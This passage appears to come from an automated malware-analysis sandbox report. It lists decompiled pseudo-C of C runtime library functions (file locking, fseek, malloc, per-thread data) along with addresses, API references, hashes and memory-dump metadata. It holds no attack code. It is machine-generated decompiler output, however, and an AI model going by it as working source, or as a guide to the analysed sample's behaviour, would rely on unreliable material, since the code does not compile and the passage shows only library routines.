					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D, Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x40d1628
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x40d1628
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x40d1628
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(040D1628), ref: 00414050

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00413610, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748, Relevance: 6.1, APIs: 4, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
